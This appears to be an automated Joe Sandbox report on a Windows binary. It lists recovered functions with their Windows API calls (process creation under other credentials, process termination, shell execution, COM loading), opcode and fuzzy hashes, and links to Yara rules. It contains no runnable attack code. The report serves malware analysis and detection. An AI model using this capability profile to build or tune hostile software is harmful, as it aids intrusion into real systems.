Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: a7a7355ea4dabc118bb921e5a50e51bab63c9b940c7395b0d51edffd216f0e0f
Instruction ID: f50c3a059c953ae6b23c10ef2c7cf393ec96c250a3269de87d72d7a12a755479
Opcode Fuzzy Hash: a7a7355ea4dabc118bb921e5a50e51bab63c9b940c7395b0d51edffd216f0e0f
Instruction Fuzzy Hash: D7213B36604204BBEB159B75EC89F7B7BACDF89760F10803DF909CA191DB65CC4183A0

Function 00A5581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 009E3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009E3A97,?,?,009E2E7F,?,?,?,00000000), ref: 009E3AC2

_wcslen.LIBCMT ref: 00A5587B
CoInitialize.OLE32(00000000), ref: 00A55995
CoCreateInstance.OLE32(00A7FCF8,00000000,00000001,00A7FB68,?), ref: 00A559AE
CoUninitialize.OLE32 ref: 00A559CC

Strings

.lnk, xrefs: 00A55876, 00A558C1, 00A55985

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 7887eb8146313d81e0b0f89434d23478dc3329410921e2b09f12a4be04b76fa1
Instruction ID: 5fef097707979121dfae34a22492b0866b93e131588f00891a630c7f8ed83eb4
Opcode Fuzzy Hash: 7887eb8146313d81e0b0f89434d23478dc3329410921e2b09f12a4be04b76fa1
Instruction Fuzzy Hash: 55D16271A08701DFC714DF25C494A2ABBE1FF89311F15885DF88A9B261DB31EC49CB92

Function 00A4175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A40FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00A40FCA
Part of subcall function 00A40FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00A40FD6
Part of subcall function 00A40FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00A40FE5
Part of subcall function 00A40FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00A40FEC
Part of subcall function 00A40FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00A41002

GetLengthSid.ADVAPI32(?,00000000,00A41335), ref: 00A417AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00A417BA
HeapAlloc.KERNEL32(00000000), ref: 00A417C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 00A417DA
GetProcessHeap.KERNEL32(00000000,00000000,00A41335), ref: 00A417EE
HeapFree.KERNEL32(00000000), ref: 00A417F5

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: c9fbd982c09dadd12f5bd65585d1c57c791387d660ca54c584aede6b23858dbb
Instruction ID: e773c67d32bcf56adc48cbda9246ba6c2a1e236775098d99c1f8e78c5bc373f8
Opcode Fuzzy Hash: c9fbd982c09dadd12f5bd65585d1c57c791387d660ca54c584aede6b23858dbb
Instruction Fuzzy Hash: 41118E35510205FFDB10DFA4CC49FAE7BB9EB85365F108128F48597210D735A985CF60

Function 00A414CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00A414FF
OpenProcessToken.ADVAPI32(00000000), ref: 00A41506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00A41515
CloseHandle.KERNEL32(00000004), ref: 00A41520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00A4154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00A41563

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: c4ae38ea6e994187a3e0c0527fa6c905f2bebbd9d8ff9f0d209077aa30d81fa8
Instruction ID: 8d4488df9fa6ed86bd913e1f6eb01e0a25ec6f19a6429abc2e5e433c3f40e16a
Opcode Fuzzy Hash: c4ae38ea6e994187a3e0c0527fa6c905f2bebbd9d8ff9f0d209077aa30d81fa8
Instruction Fuzzy Hash: 03112976501209ABDF11CFD8DD49FDE7BA9EF88754F048019FA09A2060C3758EA1DB61

Function 00A03382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00A03379,00A02FE5), ref: 00A03390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00A0339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00A033B7
SetLastError.KERNEL32(00000000,?,00A03379,00A02FE5), ref: 00A03409

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ac9327babcd59ba781d830ca563e527adf5b7b601e884f95ec659d6f67c47110
Instruction ID: fd9ddb1469e39eeb5ac252e927b9106aa2caefe10f6d0caadb003e40b44c0b06
Opcode Fuzzy Hash: ac9327babcd59ba781d830ca563e527adf5b7b601e884f95ec659d6f67c47110
Instruction Fuzzy Hash: 1901F73360971ABEFE2567F47DC56672A9CEB06379720022DF610891F0FF224D525644

Function 00A12D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00A15686,00A23CD6,?,00000000,?,00A15B6A,?,?,?,?,?,00A0E6D1,?,00AA8A48), ref: 00A12D78
_free.LIBCMT ref: 00A12DAB
_free.LIBCMT ref: 00A12DD3
SetLastError.KERNEL32(00000000,?,?,?,?,00A0E6D1,?,00AA8A48,00000010,009E4F4A,?,?,00000000,00A23CD6), ref: 00A12DE0
SetLastError.KERNEL32(00000000,?,?,?,?,00A0E6D1,?,00AA8A48,00000010,009E4F4A,?,?,00000000,00A23CD6), ref: 00A12DEC
_abort.LIBCMT ref: 00A12DF2

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: cda53df3eca181a387bda8332c50f39a71c51a31d3ae854366893f0af9a5134d
Instruction ID: cb1fa38b95b6d112d84865b505abc41aaf2bf6cce56a92ca077f0734d935a343
Opcode Fuzzy Hash: cda53df3eca181a387bda8332c50f39a71c51a31d3ae854366893f0af9a5134d
Instruction Fuzzy Hash: 7BF0C8365446012BD6227778FD06FDB2669AFC27B1F25451CF828961D2FF34C8E24360

Function 00A78A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 009F9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 009F9693
Part of subcall function 009F9639: SelectObject.GDI32(?,00000000), ref: 009F96A2
Part of subcall function 009F9639: BeginPath.GDI32(?), ref: 009F96B9
Part of subcall function 009F9639: SelectObject.GDI32(?,00000000), ref: 009F96E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00A78A4E
LineTo.GDI32(?,00000003,00000000), ref: 00A78A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00A78A70
LineTo.GDI32(?,00000000,00000003), ref: 00A78A80
EndPath.GDI32(?), ref: 00A78A90
StrokePath.GDI32(?), ref: 00A78AA0

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: d31bd8bbf4331a68ed0e6bab9853e1e636f9586d03b2eaa2d09ea3d3544cddf6
Instruction ID: 65de5dc117f625dfa262219f96aca85342c495ca8f1a591f21e7a1a1f78c5e11
Opcode Fuzzy Hash: d31bd8bbf4331a68ed0e6bab9853e1e636f9586d03b2eaa2d09ea3d3544cddf6
Instruction Fuzzy Hash: 4C11FA7604014CFFDB119F90DC48EAA7F6DEB04360F00C015BA1995161C7719D96DBA0

Function 00A451FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00A45218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00A45229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A45230
ReleaseDC.USER32(00000000,00000000), ref: 00A45238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00A4524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00A45261

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: bcce005c324cf95a0c76eefe57d059e24757d67bd7560be90491ca7e0278e2b9
Instruction ID: 11260f1efa9c6c2d7ec0c2b3674a8743e47456aa86e0f8abdec2832dc8db10a4
Opcode Fuzzy Hash: bcce005c324cf95a0c76eefe57d059e24757d67bd7560be90491ca7e0278e2b9
Instruction Fuzzy Hash: DB014475E00714BBEB109BF59C49A5EBFB8EF54761F048065FA08A7281D6709901CBA0

Function 009E1BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 009E1BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 009E1BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 009E1C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 009E1C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 009E1C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 009E1C22

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 7617b8edb0ae779e4f0df40e3de965e30749cce09db65e61e351d220d8633db1
Instruction ID: 5f5f267bd17d871b74c30819258b1a7034a42c1eabe72fc3a9a2a9ba24ab5fd4
Opcode Fuzzy Hash: 7617b8edb0ae779e4f0df40e3de965e30749cce09db65e61e351d220d8633db1
Instruction Fuzzy Hash: B7016CB09027597DE3008F5A8C85B52FFA8FF19754F00411F915C47941C7F5A864CBE5

Function 00A4EB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00A4EB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00A4EB46
GetWindowThreadProcessId.USER32(?,?), ref: 00A4EB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00A4EB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00A4EB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00A4EB75

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 285484d4d45bf2ec58c357fbef9a9113d52a2200be49149ce5eed9fc5c617266
Instruction ID: b60a8b43d971b932917df89a78b4a001dfba6e656223e92c724c59fb3d4c51fd
Opcode Fuzzy Hash: 285484d4d45bf2ec58c357fbef9a9113d52a2200be49149ce5eed9fc5c617266
Instruction Fuzzy Hash: 90F05472240158BBE72197929C4DEEF7E7CEFCAB21F00816CF605E1091D7A45A42C6B5

Function 00A37439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00A37452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00A37469
GetWindowDC.USER32(?), ref: 00A37475
GetPixel.GDI32(00000000,?,?), ref: 00A37484
ReleaseDC.USER32(?,00000000), ref: 00A37496
GetSysColor.USER32(00000005), ref: 00A374B0

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 817bd18e36d575a3707b47f7c81836f9f5f0cfc67dedc5d4a37138ac290674b8
Instruction ID: 9ff61ad6898a2d4da1cb3c96fdc2c407799b7969f608afc79363b9a6ed53afcf
Opcode Fuzzy Hash: 817bd18e36d575a3707b47f7c81836f9f5f0cfc67dedc5d4a37138ac290674b8
Instruction Fuzzy Hash: 74016D31404215EFDB619FA4DC08BAE7BB5FF04321F518168F91AA31A1CB312E92EB50

Function 00A41874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A4187F
UnloadUserProfile.USERENV(?,?), ref: 00A4188B
CloseHandle.KERNEL32(?), ref: 00A41894
CloseHandle.KERNEL32(?), ref: 00A4189C
GetProcessHeap.KERNEL32(00000000,?), ref: 00A418A5
HeapFree.KERNEL32(00000000), ref: 00A418AC

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: cf18f1f56d5fb6f8e9b98055d2361b60297d30dbbfa9fa2395f43f7997b46fe9
Instruction ID: 3ede784d8e47db2bff872a8c43750ff132ddae28a159854ad7c81595369a019c
Opcode Fuzzy Hash: cf18f1f56d5fb6f8e9b98055d2361b60297d30dbbfa9fa2395f43f7997b46fe9
Instruction Fuzzy Hash: 2FE0C236004101BBEA019BE1ED1C90ABB29FB49B32B50C228F22995470CB3294A2DB50

Function 00A4C5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E7620: _wcslen.LIBCMT ref: 009E7625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00A4C6EE
_wcslen.LIBCMT ref: 00A4C735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00A4C79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00A4C7CA

Strings

0, xrefs: 00A4C6AF

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 560078f8a75ea04904e80ef1241221703726c44108e27afe86852e3fea79cb70
Instruction ID: 21926fe21e5c850439661bb8ae1effa4be1060b6bec65f3670831c2dc7ce0c92
Opcode Fuzzy Hash: 560078f8a75ea04904e80ef1241221703726c44108e27afe86852e3fea79cb70
Instruction Fuzzy Hash: A551FC796063409BD794DF28C884BABB7E8AFC9324F044A2DF999D31A1DB60DD04CB52

Function 00A6AD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 00A6AEA3

Part of subcall function 009E7620: _wcslen.LIBCMT ref: 009E7625

GetProcessId.KERNEL32(00000000), ref: 00A6AF38
CloseHandle.KERNEL32(00000000), ref: 00A6AF67

Strings

@, xrefs: 00A6AE72
<, xrefs: 00A6AE6B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: afbd5f9591aeee636270ea26fb5c07e0b3da6d64e87cdf874390e2acf1608b63
Instruction ID: 7f80aedf24d75d00c5ec20d043cd0109c55d247ea0ae841021085a9045450f94
Opcode Fuzzy Hash: afbd5f9591aeee636270ea26fb5c07e0b3da6d64e87cdf874390e2acf1608b63
Instruction Fuzzy Hash: 35717770A00659DFCB15DF95D484A9EBBF0BF48310F048499E81AAB3A2CB35ED41CF92

Function 00A4719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00A47206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00A4723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00A4724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00A472CF

Strings

DllGetClassObject, xrefs: 00A47242

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 6e432d8bc62afb9362fb8d539411eda82239d1bc8873614443ba9e3f00d2841f
Instruction ID: 56d2c63b78ba5348a675e568b7d6081e2b98ac257954f3ecb47c367b899cb535
Opcode Fuzzy Hash: 6e432d8bc62afb9362fb8d539411eda82239d1bc8873614443ba9e3f00d2841f
Instruction Fuzzy Hash: F2414D75604244EFDB15CF64C884ADE7BB9EF84710F1480ADBD099F24AD7B1DA45CBA0

Function 00A73D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A73E35
IsMenu.USER32(?), ref: 00A73E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00A73E92
DrawMenuBar.USER32 ref: 00A73EA5

Strings

0, xrefs: 00A73D89

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: d3219c4858775c6006a79c2df24034ad7f4310e3e2d959f497b4a04500b0f5cd
Instruction ID: e2fc7cdcf475372d7fecb70d260dc168b776eadae2c9a660a8b27099d96788f2
Opcode Fuzzy Hash: d3219c4858775c6006a79c2df24034ad7f4310e3e2d959f497b4a04500b0f5cd
Instruction Fuzzy Hash: 5C414976A01209AFDF10DF90DC84AAABBF5FF48354F05C129E909A7250D730AE45DF50

Function 00A41DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

Part of subcall function 00A43CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00A43CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00A41E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00A41E79
